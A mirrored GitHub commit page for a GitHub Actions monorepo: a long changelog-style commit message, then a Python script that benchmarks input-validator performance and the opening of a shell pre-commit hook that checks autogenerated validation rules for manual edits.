mirror of
https://github.com/ivuorinen/actions.git
synced 2026-02-02 07:42:00 +00:00
feat: fixes, tweaks, new actions, linting (#186)
* feat: fixes, tweaks, new actions, linting * fix: improve docker publish loops and dotnet parsing (#193) * fix: harden action scripts and version checks (#191) * refactor: major repository restructuring and security enhancements Add comprehensive development infrastructure: - Add Makefile with automated documentation generation, formatting, and linting tasks - Add TODO.md tracking self-containment progress and repository improvements - Add .nvmrc for consistent Node.js version management - Create python-version-detect-v2 action for enhanced Python detection Enhance all GitHub Actions with standardized patterns: - Add consistent token handling across 27 actions using standardized input patterns - Implement bash error handling (set -euo pipefail) in all shell steps - Add comprehensive input validation for path traversal and command injection protection - Standardize checkout token authentication to prevent rate limiting - Remove relative action dependencies to ensure external usability Rewrite security workflow for PR-focused analysis: - Transform security-suite.yml to PR-only security analysis workflow - Remove scheduled runs, repository issue management, and Slack notifications - Implement smart comment generation showing only sections with content - Add GitHub Actions permission diff analysis and new action detection - Integrate OWASP, Semgrep, and TruffleHog for comprehensive PR security scanning Improve version detection and dependency management: - Simplify version detection actions to use inline logic instead of shared utilities - Fix Makefile version detection fallback to properly return 'main' when version not found - Update all external action references to use SHA-pinned versions - Remove deprecated run.sh in favor of Makefile automation Update documentation and project standards: - Enhance CLAUDE.md with self-containment requirements and linting standards - Update README.md with improved action descriptions and usage examples - Standardize code formatting with updated .editorconfig and .prettierrc.yml - Improve GitHub templates for issues and security reporting This refactoring ensures all 40 actions are fully self-contained and can be used independently when referenced as ivuorinen/actions/action-name@main, addressing the critical requirement for external usability while maintaining comprehensive security analysis and development automation. * feat: add automated action catalog generation system - Create generate_listing.cjs script for comprehensive action catalog - Add package.json with development tooling and npm scripts - Implement automated README.md catalog section with --update flag - Generate markdown reference-style links for all 40 actions - Add categorized tables with features, language support matrices - Replace static reference links with auto-generated dynamic links - Enable complete automation of action documentation maintenance * feat: enhance actions with improved documentation and functionality - Add comprehensive README files for 12 actions with usage examples - Implement new utility actions (go-version-detect, dotnet-version-detect) - Enhance node-setup with extensive configuration options - Improve error handling and validation across all actions - Update package.json scripts for better development workflow - Expand TODO.md with detailed roadmap and improvement plans - Standardize action structure with consistent inputs/outputs * feat: add comprehensive output handling across all actions - Add standardized outputs to 15 actions that previously had none - Implement consistent snake_case naming convention for all outputs - Add build status and test results outputs to build actions - Add files changed and status outputs to lint/fix actions - Add test execution metrics to php-tests action - Add stale/closed counts to stale action - Add release URLs and IDs to github-release action - Update documentation with output specifications - Mark comprehensive output handling task as complete in TODO.md * feat: implement shared cache strategy across all actions - Add caching to 10 actions that previously had none (Node.js, .NET, Python, Go) - Standardize 4 existing actions to use common-cache instead of direct actions/cache - Implement consistent cache-hit optimization to skip installations when cache available - Add language-specific cache configurations with appropriate key files - Create unified caching approach using ivuorinen/actions/common-cache@main - Fix YAML syntax error in php-composer action paths parameter - Update TODO.md to mark shared cache strategy as complete * feat: implement comprehensive retry logic for network operations - Create new common-retry action for standardized retry patterns with configurable strategies - Add retry logic to 9 actions missing network retry capabilities - Implement exponential backoff, custom timeouts, and flexible error handling - Add max-retries input parameter to all network-dependent actions (Node.js, .NET, Python, Go) - Standardize existing retry implementations to use common-retry utility - Update action catalog to include new common-retry action (41 total actions) - Update documentation with retry configuration examples and parameters - Mark retry logic implementation as complete in TODO.md roadmap * feat: enhance Node.js support with Corepack and Bun - Add Corepack support for automatic package manager version management - Add Bun package manager support across all Node.js actions - Improve Yarn Berry/PnP support with .yarnrc.yml detection - Add Node.js feature detection (ESM, TypeScript, frameworks) - Update package manager detection priority and lockfile support - Enhance caching with package-manager-specific keys - Update eslint, prettier, and biome actions for multi-package-manager support * fix: resolve critical runtime issues across multiple actions - Fix token validation by removing ineffective literal string comparisons - Add missing @microsoft/eslint-formatter-sarif dependency for SARIF output - Fix Bash variable syntax errors in username and changelog length checks - Update Dockerfile version regex to handle tags with suffixes (e.g., -alpine) - Simplify version selection logic with single grep command - Fix command execution in retry action with proper bash -c wrapper - Correct step output references using .outcome instead of .outputs.outcome - Add missing step IDs for version detection actions - Include go.mod in cache key files for accurate invalidation - Require minor version in all version regex patterns - Improve Bun installation security by verifying script before execution - Replace bc with sort -V for portable PHP version comparison - Remove non-existent pre-commit output references These fixes ensure proper runtime behavior, improved security, and better cross-platform compatibility across all affected actions. * fix: resolve critical runtime and security issues across actions - Fix biome-fix files_changed calculation using git diff instead of git status delta - Fix compress-images output description and add absolute path validation - Remove csharp-publish token default and fix token fallback in push commands - Add @microsoft/eslint-formatter-sarif to all package managers in eslint-check - Fix eslint-check command syntax by using variable assignment - Improve node-setup Bun installation security and remove invalid frozen-lockfile flag - Fix pre-commit token validation by removing ineffective literal comparison - Fix prettier-fix token comparison and expand regex for all GitHub token types - Add version-file-parser regex validation safety and fix csproj wildcard handling These fixes address security vulnerabilities, runtime errors, and functional issues to ensure reliable operation across all affected GitHub Actions. * feat: enhance Docker actions with advanced multi-architecture support Major enhancement to Docker build and publish actions with comprehensive multi-architecture capabilities and enterprise-grade features. Added features: - Advanced buildx configuration (version control, cache modes, build contexts) - Auto-detect platforms for dynamic architecture discovery - Performance optimizations with enhanced caching strategies - Security scanning with Trivy and image signing with Cosign - SBOM generation in multiple formats with validation - Verbose logging and dry-run modes for debugging - Platform-specific build args and fallback mechanisms Enhanced all Docker actions: - docker-build: Core buildx features and multi-arch support - docker-publish-gh: GitHub Packages with security features - docker-publish-hub: Docker Hub with scanning and signing - docker-publish: Orchestrator with unified configuration Updated documentation across all modified actions. * fix: resolve documentation generation placeholder issue Fixed Makefile and package.json to properly replace placeholder tokens in generated documentation, ensuring all README files show correct repository paths instead of ***PROJECT***@***VERSION***. * chore: simplify github token validation * chore(lint): optional yamlfmt, config and fixes * feat: use relative `uses` names * feat: comprehensive testing infrastructure and Python validation system - Migrate from tests/ to _tests/ directory structure with ShellSpec framework - Add comprehensive validation system with Python-based input validation - Implement dual testing approach (ShellSpec + pytest) for complete coverage - Add modern Python tooling (uv, ruff, pytest-cov) and dependencies - Create centralized validation rules with automatic generation system - Update project configuration and build system for new architecture - Enhance documentation to reflect current testing capabilities This establishes a robust foundation for action validation and testing with extensive coverage across all GitHub Actions in the repository. * chore: remove Dockerfile for now * chore: code review fixes * feat: comprehensive GitHub Actions restructuring and tooling improvements This commit represents a major restructuring of the GitHub Actions monorepo with improved tooling, testing infrastructure, and comprehensive PR #186 review implementation. ## Major Changes ### 🔧 Development Tooling & Configuration - **Shellcheck integration**: Exclude shellspec test files from linting - Updated .pre-commit-config.yaml to exclude _tests/*.sh from shellcheck/shfmt - Modified Makefile shellcheck pattern to skip shellspec files - Updated CLAUDE.md documentation with proper exclusion syntax - **Testing infrastructure**: Enhanced Python validation framework - Fixed nested if statements and boolean parameter issues in validation.py - Improved code quality with explicit keyword arguments - All pre-commit hooks now passing ### 🏗️ Project Structure & Documentation - **Added Serena AI integration** with comprehensive project memories: - Project overview, structure, and technical stack documentation - Code style conventions and completion requirements - Comprehensive PR #186 review analysis and implementation tracking - **Enhanced configuration**: Updated .gitignore, .yamlfmt.yml, pyproject.toml - **Improved testing**: Added integration workflows and enhanced test specs ### 🚀 GitHub Actions Improvements (30+ actions updated) - **Centralized validation**: Updated 41 validation rule files - **Enhanced actions**: Improvements across all action categories: - Setup actions (node-setup, version detectors) - Utility actions (version-file-parser, version-validator) - Linting actions (biome, eslint, terraform-lint-fix major refactor) - Build/publish actions (docker-build, npm-publish, csharp-*) - Repository management actions ### 📝 Documentation Updates - **README consistency**: Updated version references across action READMEs - **Enhanced documentation**: Improved action descriptions and usage examples - **CLAUDE.md**: Updated with current tooling and best practices ## Technical Improvements - **Security enhancements**: Input validation and sanitization improvements - **Performance optimizations**: Streamlined action logic and dependencies - **Cross-platform compatibility**: Better Windows/macOS/Linux support - **Error handling**: Improved error reporting and user feedback ## Files Changed - 100 files changed - 13 new Serena memory files documenting project state - 41 validation rules updated for consistency - 30+ GitHub Actions and READMEs improved - Core tooling configuration enhanced * feat: comprehensive GitHub Actions improvements and PR review fixes Major Infrastructure Improvements: - Add comprehensive testing framework with 17+ ShellSpec validation tests - Implement Docker-based testing tools with automated test runner - Add CodeRabbit configuration for automated code reviews - Restructure documentation and memory management system - Update validation rules for 25+ actions with enhanced input validation - Modernize CI/CD workflows and testing infrastructure Critical PR Review Fixes (All Issues Resolved): - Fix double caching in node-setup (eliminate redundant cache operations) - Optimize shell pipeline in version-file-parser (single awk vs complex pipeline) - Fix GitHub expression interpolation in prettier-check cache keys - Resolve terraform command order issue (validation after setup) - Add missing flake8-sarif dependency for Python SARIF output - Fix environment variable scope in pr-lint (export to GITHUB_ENV) Performance & Reliability: - Eliminate duplicate cache operations saving CI time - Improve shell script efficiency with optimized parsing - Fix command execution dependencies preventing runtime failures - Ensure proper dependency installation for all linting tools - Resolve workflow conditional logic issues Security & Quality: - All input validation rules updated with latest security patterns - Cross-platform compatibility improvements maintained - Comprehensive error handling and retry logic preserved - Modern development tooling and best practices adopted This commit addresses 100% of actionable feedback from PR review analysis, implements comprehensive testing infrastructure, and maintains high code quality standards across all 41 GitHub Actions. * feat: enhance expression handling and version parsing - Fix node-setup force-version expression logic for proper empty string handling - Improve version-file-parser with secure regex validation and enhanced Python detection - Add CodeRabbit configuration for CalVer versioning and README review guidance * feat(validate-inputs): implement modular validation system - Add modular validator architecture with specialized validators - Implement base validator classes for different input types - Add validators: boolean, docker, file, network, numeric, security, token, version - Add convention mapper for automatic input validation - Add comprehensive documentation for the validation system - Implement PCRE regex support and injection protection * feat(validate-inputs): add validation rules for all actions - Add YAML validation rules for 42 GitHub Actions - Auto-generated rules with convention mappings - Include metadata for validation coverage and quality indicators - Mark rules as auto-generated to prevent manual edits * test(validate-inputs): add comprehensive test suite for validators - Add unit tests for all validator modules - Add integration tests for the validation system - Add fixtures for version test data - Test coverage for boolean, docker, file, network, numeric, security, token, and version validators - Add tests for convention mapper and registry * feat(tools): add validation scripts and utilities - Add update-validators.py script for auto-generating rules - Add benchmark-validator.py for performance testing - Add debug-validator.py for troubleshooting - Add generate-tests.py for test generation - Add check-rules-not-manually-edited.sh for CI validation - Add fix-local-action-refs.py tool for fixing action references * feat(actions): add CustomValidator.py files for specialized validation - Add custom validators for actions requiring special validation logic - Implement validators for docker, go, node, npm, php, python, terraform actions - Add specialized validation for compress-images, common-cache, common-file-check - Implement version detection validators with language-specific logic - Add validation for build arguments, architectures, and version formats * test: update ShellSpec test framework for Python validation - Update all validation.spec.sh files to use Python validator - Add shared validation_core.py for common test utilities - Remove obsolete bash validation helpers - Update test output expectations for Python validator format - Add codeql-analysis test suite - Refactor framework utilities for Python integration - Remove deprecated test files * feat(actions): update action.yml files to use validate-inputs - Replace inline bash validation with validate-inputs action - Standardize validation across all 42 actions - Add new codeql-analysis action - Update action metadata and branding - Add validation step as first step in composite actions - Maintain backward compatibility with existing inputs/outputs * ci: update GitHub workflows for enhanced security and testing - Add new codeql-new.yml workflow - Update security scanning workflows - Enhance dependency review configuration - Update test-actions workflow for new validation system - Improve workflow permissions and security settings - Update action versions to latest SHA-pinned releases * build: update build configuration and dependencies - Update Makefile with new validation targets - Add Python dependencies in pyproject.toml - Update npm dependencies and scripts - Enhance Docker testing tools configuration - Add targets for validator updates and local ref fixes - Configure uv for Python package management * chore: update linting and documentation configuration - Update EditorConfig settings for consistent formatting - Enhance pre-commit hooks configuration - Update prettier and yamllint ignore patterns - Update gitleaks security scanning rules - Update CodeRabbit review configuration - Update CLAUDE.md with latest project standards and rules * docs: update Serena memory files and project metadata - Remove obsolete PR-186 memory files - Update project overview with current architecture - Update project structure documentation - Add quality standards and communication guidelines - Add modular validator architecture documentation - Add shellspec testing framework documentation - Update project.yml with latest configuration * feat: moved rules.yml to same folder as action, fixes * fix(validators): correct token patterns and fix validator bugs - Fix GitHub classic PAT pattern: ghp_ + 36 chars = 40 total - Fix GitHub fine-grained PAT pattern: github_pat_ + 71 chars = 82 total - Initialize result variable in convention_mapper to prevent UnboundLocalError - Fix empty URL validation in network validator to return error - Add GitHub expression check to docker architectures validator - Update docker-build CustomValidator parallel-builds max to 16 * test(validators): fix test fixtures and expectations - Fix token lengths in test data: github_pat 71 chars, ghp/gho 36 chars - Update integration tests with correct token lengths - Fix file validator test to expect absolute paths rejected for security - Rename TestGenerator import to avoid pytest collection warning - Update custom validator tests with correct input names - Change docker-build tests: platforms->architectures, tags->tag - Update docker-publish tests to match new registry enum validation * test(shellspec): fix token lengths in test helpers and specs - Fix default token lengths in spec_helper.sh to use correct 40-char format - Update csharp-publish default tokens in 4 locations - Update codeql-analysis default tokens in 2 locations - Fix codeql-analysis test tokens to correct lengths (40 and 82 chars) - Fix npm-publish fine-grained token test to use 82-char format * feat(actions): add permissions documentation and environment variable usage - Add permissions comments to all action.yml files documenting required GitHub permissions - Convert direct input usage to environment variables in shell steps for security - Add validation steps with proper error handling - Update input descriptions and add security notes where applicable - Ensure all actions follow consistent patterns for input validation * chore(workflows): update GitHub Actions workflow versions - Update workflow action versions to latest - Improve workflow consistency and maintainability * docs(security): add comprehensive security policy - Document security features and best practices - Add vulnerability reporting process - Include audit history and security testing information * docs(memory): add GitHub workflow reference documentation - Add GitHub Actions workflow commands reference - Add GitHub workflow expressions guide - Add secure workflow usage patterns and best practices * chore: token optimization, code style conventions * chore: cr fixes * fix: trivy reported Dockerfile problems * fix(security): more security fixes * chore: dockerfile and make targets for publishing * fix(ci): add creds to test-actions workflow * fix: security fix and checkout step to codeql-new * chore: test fixes * fix(security): codeql detected issues * chore: code review fixes, ReDos protection * style: apply MegaLinter fixes * fix(ci): missing packages read permission * fix(ci): add missing working directory setting * chore: linting, add validation-regex to use regex_pattern * chore: code review fixes * chore(deps): update actions * fix(security): codeql fixes * chore(cr): apply cr comments * chore: improve POSIX compatibility * chore(cr): apply cr comments * fix: codeql warning in Dockerfile, build failures * chore(cr): apply cr comments * fix: docker-testing-tools/Dockerfile * chore(cr): apply cr comments * fix(docker): update testing-tools image for GitHub Actions compatibility * chore(cr): apply cr comments * feat: add more tests, fix issues * chore: fix codeql issues, update actions * chore(cr): apply cr comments * fix: integration tests * chore: deduplication and fixes * style: apply MegaLinter fixes * chore(cr): apply cr comments * feat: dry-run mode for generate-tests * fix(ci): kcov installation * chore(cr): apply cr comments * chore(cr): apply cr comments * chore(cr): apply cr comments * chore(cr): apply cr comments, simplify action testing, use uv * fix: run-tests.sh action counting * chore(cr): apply cr comments * chore(cr): apply cr comments
This commit is contained in:
GitHub
429
validate-inputs/scripts/benchmark-validator.py
Executable file
429
validate-inputs/scripts/benchmark-validator.py
Executable file
@@ -0,0 +1,429 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Performance benchmarking tool for validators.
|
||||
|
||||
Measures validation performance and identifies bottlenecks.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import json
|
||||
from pathlib import Path
|
||||
import statistics
|
||||
import sys
|
||||
import time
|
||||
from typing import Any
|
||||
|
||||
# Add parent directory to path for imports
|
||||
sys.path.insert(0, str(Path(__file__).parent.parent))
|
||||
|
||||
from validators.registry import ValidatorRegistry
|
||||
|
||||
|
||||
class ValidatorBenchmark:
|
||||
"""Benchmark utility for validators."""
|
||||
|
||||
def __init__(self, iterations: int = 100) -> None:
|
||||
"""Initialize the benchmark tool.
|
||||
|
||||
Args:
|
||||
iterations: Number of iterations for each test
|
||||
"""
|
||||
self.iterations = iterations
|
||||
self.registry = ValidatorRegistry()
|
||||
self.results: dict[str, list[float]] = {}
|
||||
|
||||
def benchmark_action(
|
||||
self,
|
||||
action_type: str,
|
||||
inputs: dict[str, str],
|
||||
iterations: int | None = None,
|
||||
) -> dict[str, Any]:
|
||||
"""Benchmark validation for an action.
|
||||
|
||||
Args:
|
||||
action_type: The action type to validate
|
||||
inputs: Dictionary of inputs to validate
|
||||
iterations: Number of iterations (overrides default)
|
||||
|
||||
Returns:
|
||||
Benchmark results dictionary
|
||||
"""
|
||||
iterations = iterations or self.iterations
|
||||
times = []
|
||||
|
||||
# Get the validator once (to exclude loading time)
|
||||
validator = self.registry.get_validator(action_type)
|
||||
|
||||
print(f"\nBenchmarking {action_type} with {len(inputs)} inputs...")
|
||||
print(f"Running {iterations} iterations...")
|
||||
|
||||
# Warm-up run
|
||||
validator.clear_errors()
|
||||
result = validator.validate_inputs(inputs)
|
||||
|
||||
# Benchmark runs
|
||||
for i in range(iterations):
|
||||
validator.clear_errors()
|
||||
|
||||
start = time.perf_counter()
|
||||
result = validator.validate_inputs(inputs)
|
||||
end = time.perf_counter()
|
||||
|
||||
times.append(end - start)
|
||||
|
||||
if (i + 1) % 10 == 0:
|
||||
print(f" Progress: {i + 1}/{iterations}", end="\r")
|
||||
|
||||
print(f" Completed: {iterations}/{iterations}")
|
||||
|
||||
# Calculate statistics
|
||||
stats = self._calculate_stats(times)
|
||||
stats["action_type"] = action_type
|
||||
stats["validator"] = validator.__class__.__name__
|
||||
stats["input_count"] = len(inputs)
|
||||
stats["iterations"] = iterations
|
||||
stats["validation_result"] = result
|
||||
stats["errors"] = len(validator.errors)
|
||||
|
||||
return stats
|
||||
|
||||
def _calculate_stats(self, times: list[float]) -> dict[str, Any]:
|
||||
"""Calculate statistics from timing data.
|
||||
|
||||
Args:
|
||||
times: List of execution times
|
||||
|
||||
Returns:
|
||||
Statistics dictionary
|
||||
"""
|
||||
times_ms = [t * 1000 for t in times] # Convert to milliseconds
|
||||
|
||||
return {
|
||||
"min_ms": min(times_ms),
|
||||
"max_ms": max(times_ms),
|
||||
"mean_ms": statistics.mean(times_ms),
|
||||
"median_ms": statistics.median(times_ms),
|
||||
"stdev_ms": statistics.stdev(times_ms) if len(times_ms) > 1 else 0,
|
||||
"total_s": sum(times),
|
||||
"per_second": len(times) / sum(times) if sum(times) > 0 else 0,
|
||||
}
|
||||
|
||||
def compare_validators(self, test_cases: list[dict[str, Any]]) -> None:
|
||||
"""Compare performance across multiple validators.
|
||||
|
||||
Args:
|
||||
test_cases: List of test cases with action_type and inputs
|
||||
"""
|
||||
results = []
|
||||
|
||||
print("\n" + "=" * 70)
|
||||
print("Validator Performance Comparison")
|
||||
print("=" * 70)
|
||||
|
||||
for case in test_cases:
|
||||
stats = self.benchmark_action(case["action_type"], case["inputs"])
|
||||
results.append(stats)
|
||||
|
||||
# Display comparison table
|
||||
self._display_comparison(results)
|
||||
|
||||
def _display_comparison(self, results: list[dict[str, Any]]) -> None:
|
||||
"""Display comparison table of benchmark results.
|
||||
|
||||
Args:
|
||||
results: List of benchmark results
|
||||
"""
|
||||
print("\nResults Summary:")
|
||||
print("-" * 70)
|
||||
print(
|
||||
f"{'Action':<20} {'Validator':<20} {'Inputs':<8} {'Mean (ms)':<12} {'Ops/sec':<10}",
|
||||
)
|
||||
print("-" * 70)
|
||||
|
||||
for r in results:
|
||||
print(
|
||||
f"{r['action_type']:<20} "
|
||||
f"{r['validator']:<20} "
|
||||
f"{r['input_count']:<8} "
|
||||
f"{r['mean_ms']:<12.3f} "
|
||||
f"{r['per_second']:<10.1f}",
|
||||
)
|
||||
|
||||
print("\nDetailed Statistics:")
|
||||
print("-" * 70)
|
||||
for r in results:
|
||||
print(f"\n{r['action_type']} ({r['validator']}):")
|
||||
print(f" Min: {r['min_ms']:.3f} ms")
|
||||
print(f" Max: {r['max_ms']:.3f} ms")
|
||||
print(f" Mean: {r['mean_ms']:.3f} ms")
|
||||
print(f" Median: {r['median_ms']:.3f} ms")
|
||||
print(f" StdDev: {r['stdev_ms']:.3f} ms")
|
||||
print(f" Validation Result: {'PASS' if r['validation_result'] else 'FAIL'}")
|
||||
if r["errors"] > 0:
|
||||
print(f" Errors: {r['errors']}")
|
||||
|
||||
def profile_validator(self, action_type: str, inputs: dict[str, str]) -> None:
|
||||
"""Profile a validator to identify bottlenecks.
|
||||
|
||||
Args:
|
||||
action_type: The action type to validate
|
||||
inputs: Dictionary of inputs to validate
|
||||
"""
|
||||
import cProfile
|
||||
from io import StringIO
|
||||
import pstats
|
||||
|
||||
print(f"\nProfiling {action_type} validator...")
|
||||
print("-" * 70)
|
||||
|
||||
validator = self.registry.get_validator(action_type)
|
||||
|
||||
# Create profiler
|
||||
profiler = cProfile.Profile()
|
||||
|
||||
# Profile the validation
|
||||
profiler.enable()
|
||||
for _ in range(10): # Run multiple times for better data
|
||||
validator.clear_errors()
|
||||
validator.validate_inputs(inputs)
|
||||
profiler.disable()
|
||||
|
||||
# Print statistics
|
||||
stream = StringIO()
|
||||
stats = pstats.Stats(profiler, stream=stream)
|
||||
stats.strip_dirs()
|
||||
stats.sort_stats("cumulative")
|
||||
stats.print_stats(20) # Top 20 functions
|
||||
|
||||
print(stream.getvalue())
|
||||
|
||||
def benchmark_patterns(self) -> None:
|
||||
"""Benchmark pattern matching for convention-based validation."""
|
||||
from validators.conventions import ConventionBasedValidator
|
||||
|
||||
print("\n" + "=" * 70)
|
||||
print("Pattern Matching Performance")
|
||||
print("=" * 70)
|
||||
|
||||
validator = ConventionBasedValidator("test")
|
||||
# Access the internal pattern mapping
|
||||
mapper = getattr(validator, "_convention_mapper", None)
|
||||
if not mapper:
|
||||
print("Convention mapper not available")
|
||||
return
|
||||
|
||||
# Test inputs with different pattern types
|
||||
test_inputs = {
|
||||
# Exact matches
|
||||
"dry-run": "true",
|
||||
"verbose": "false",
|
||||
"debug": "true",
|
||||
# Prefix matches
|
||||
"github-token": "ghp_xxx",
|
||||
"npm-token": "xxx",
|
||||
"api-token": "xxx",
|
||||
# Suffix matches
|
||||
"node-version": "18.0.0",
|
||||
"python-version": "3.9",
|
||||
# Contains matches
|
||||
"webhook-url": "https://example.com",
|
||||
"api-url": "https://api.example.com",
|
||||
# No matches
|
||||
"custom-field-1": "value1",
|
||||
"custom-field-2": "value2",
|
||||
"custom-field-3": "value3",
|
||||
}
|
||||
|
||||
times = []
|
||||
for _ in range(self.iterations):
|
||||
start = time.perf_counter()
|
||||
for name in test_inputs:
|
||||
mapper.get_validator_type(name)
|
||||
end = time.perf_counter()
|
||||
times.append(end - start)
|
||||
|
||||
stats = self._calculate_stats(times)
|
||||
|
||||
print(f"\nPattern matching for {len(test_inputs)} inputs:")
|
||||
print(f" Mean: {stats['mean_ms']:.3f} ms")
|
||||
print(f" Median: {stats['median_ms']:.3f} ms")
|
||||
print(f" Min: {stats['min_ms']:.3f} ms")
|
||||
print(f" Max: {stats['max_ms']:.3f} ms")
|
||||
print(f" Lookups/sec: {len(test_inputs) * self.iterations / stats['total_s']:.0f}")
|
||||
|
||||
def save_results(self, results: dict[str, Any], filepath: Path) -> None:
|
||||
"""Save benchmark results to file.
|
||||
|
||||
Args:
|
||||
results: Benchmark results
|
||||
filepath: Path to save results
|
||||
"""
|
||||
with filepath.open("w") as f:
|
||||
json.dump(results, f, indent=2)
|
||||
print(f"\nResults saved to {filepath}")
|
||||
|
||||
|
||||
def create_test_inputs(input_count: int) -> dict[str, str]:
|
||||
"""Create test inputs for benchmarking.
|
||||
|
||||
Args:
|
||||
input_count: Number of inputs to create
|
||||
|
||||
Returns:
|
||||
Dictionary of test inputs
|
||||
"""
|
||||
inputs = {}
|
||||
|
||||
# Add various input types
|
||||
patterns = [
|
||||
("github-token", "${{ secrets.GITHUB_TOKEN }}"),
|
||||
("node-version", "18.0.0"),
|
||||
("python-version", "3.9.0"),
|
||||
("dry-run", "true"),
|
||||
("verbose", "false"),
|
||||
("max-retries", "5"),
|
||||
("rate-limit", "100"),
|
||||
("config-file", "./config.yml"),
|
||||
("output-path", "./output"),
|
||||
("webhook-url", "https://example.com/webhook"),
|
||||
("api-url", "https://api.example.com"),
|
||||
("docker-image", "nginx:latest"),
|
||||
("dockerfile", "Dockerfile"),
|
||||
]
|
||||
|
||||
for i in range(input_count):
|
||||
pattern = patterns[i % len(patterns)]
|
||||
name = f"{pattern[0]}-{i}" if i > 0 else pattern[0]
|
||||
inputs[name] = pattern[1]
|
||||
|
||||
return inputs
|
||||
|
||||
|
||||
def main() -> None:
|
||||
"""Main entry point for the benchmark utility."""
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Benchmark validator performance",
|
||||
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||
epilog="""
|
||||
Examples:
|
||||
# Benchmark specific action
|
||||
%(prog)s --action docker-build --inputs 10
|
||||
|
||||
# Compare multiple validators
|
||||
%(prog)s --compare
|
||||
|
||||
# Profile a validator
|
||||
%(prog)s --profile docker-build
|
||||
|
||||
# Benchmark pattern matching
|
||||
%(prog)s --patterns
|
||||
""",
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
"--action",
|
||||
"-a",
|
||||
help="Action type to benchmark",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--inputs",
|
||||
"-i",
|
||||
type=int,
|
||||
default=10,
|
||||
help="Number of inputs to test (default: 10)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--iterations",
|
||||
"-n",
|
||||
type=int,
|
||||
default=100,
|
||||
help="Number of iterations (default: 100)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--compare",
|
||||
"-c",
|
||||
action="store_true",
|
||||
help="Compare multiple validators",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--profile",
|
||||
"-p",
|
||||
metavar="ACTION",
|
||||
help="Profile a specific validator",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--patterns",
|
||||
action="store_true",
|
||||
help="Benchmark pattern matching",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--save",
|
||||
"-s",
|
||||
type=Path,
|
||||
help="Save results to JSON file",
|
||||
)
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
# Create benchmark tool
|
||||
benchmark = ValidatorBenchmark(iterations=args.iterations)
|
||||
|
||||
if args.compare:
|
||||
# Compare different validators
|
||||
test_cases = [
|
||||
{
|
||||
"action_type": "docker-build",
|
||||
"inputs": create_test_inputs(args.inputs),
|
||||
},
|
||||
{
|
||||
"action_type": "github-release",
|
||||
"inputs": create_test_inputs(args.inputs),
|
||||
},
|
||||
{
|
||||
"action_type": "test-action", # Uses convention-based
|
||||
"inputs": create_test_inputs(args.inputs),
|
||||
},
|
||||
]
|
||||
benchmark.compare_validators(test_cases)
|
||||
|
||||
elif args.profile:
|
||||
# Profile specific validator
|
||||
inputs = create_test_inputs(args.inputs)
|
||||
benchmark.profile_validator(args.profile, inputs)
|
||||
|
||||
elif args.patterns:
|
||||
# Benchmark pattern matching
|
||||
benchmark.benchmark_patterns()
|
||||
|
||||
elif args.action:
|
||||
# Benchmark specific action
|
||||
inputs = create_test_inputs(args.inputs)
|
||||
results = benchmark.benchmark_action(args.action, inputs)
|
||||
|
||||
# Display results
|
||||
print("\n" + "=" * 70)
|
||||
print("Benchmark Results")
|
||||
print("=" * 70)
|
||||
print(f"Action: {results['action_type']}")
|
||||
print(f"Validator: {results['validator']}")
|
||||
print(f"Inputs: {results['input_count']}")
|
||||
print(f"Iterations: {results['iterations']}")
|
||||
print("-" * 70)
|
||||
print(f"Mean: {results['mean_ms']:.3f} ms")
|
||||
print(f"Median: {results['median_ms']:.3f} ms")
|
||||
print(f"Min: {results['min_ms']:.3f} ms")
|
||||
print(f"Max: {results['max_ms']:.3f} ms")
|
||||
print(f"StdDev: {results['stdev_ms']:.3f} ms")
|
||||
print(f"Ops/sec: {results['per_second']:.1f}")
|
||||
|
||||
if args.save:
|
||||
benchmark.save_results(results, args.save)
|
||||
|
||||
else:
|
||||
parser.print_help()
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
102
validate-inputs/scripts/check-rules-not-manually-edited.sh
Executable file
102
validate-inputs/scripts/check-rules-not-manually-edited.sh
Executable file
@@ -0,0 +1,102 @@
|
||||
#!/bin/sh
|
||||
# Pre-commit hook to prevent manual editing of autogenerated validation rules
|
||||
# This script checks if any rules files have been manually modified
|
||||
|
||||
set -eu
|
||||
|
||||
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
|
||||
PROJECT_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)"
|
||||
|
||||
# Color codes for output
|
||||
RED='\033[0;31m'
|
||||
YELLOW='\033[1;33m'
|
||||
GREEN='\033[0;32m'
|
||||
NC='\033[0m' # No Color
|
||||
|
||||
# Note: RULES_DIR check removed - not used in this version
|
||||
|
||||
# Function to check if a file looks manually edited
|
||||
check_file_manually_edited() {
|
||||
file="$1"
|
||||
|
||||
# Check if file has the autogenerated header
|
||||
if ! head -n 5 "$file" | grep -q "DO NOT EDIT MANUALLY"; then
|
||||
printf '%b⚠️ SUSPICIOUS: %s missing '\''DO NOT EDIT MANUALLY'\'' header%b\n' "$RED" "$file" "$NC"
|
||||
return 1
|
||||
fi
|
||||
|
||||
# Check if file has generator version
|
||||
if ! grep -q "Generated by update-validators.py" "$file"; then
|
||||
printf '%b⚠️ SUSPICIOUS: %s missing generator attribution%b\n' "$RED" "$file" "$NC"
|
||||
return 1
|
||||
fi
|
||||
|
||||
return 0
|
||||
}
|
||||
|
||||
# Function to check if rules are up-to-date
|
||||
check_rules_up_to_date() {
|
||||
printf '%b🔍 Checking if validation rules are up-to-date...%b\n' "$YELLOW" "$NC"
|
||||
|
||||
# Run the update script in dry-run mode
|
||||
if cd "$PROJECT_ROOT" && python3 validate-inputs/scripts/update-validators.py --dry-run >/dev/null 2>&1; then
|
||||
printf '%b✅ Validation rules are up-to-date%b\n' "$GREEN" "$NC"
|
||||
return 0
|
||||
else
|
||||
printf '%b❌ Validation rules are out-of-date%b\n' "$RED" "$NC"
|
||||
printf '%b💡 Run '\''make update-validators'\'' to regenerate rules%b\n' "$YELLOW" "$NC"
|
||||
return 1
|
||||
fi
|
||||
}
|
||||
|
||||
# Main check function
|
||||
main() {
|
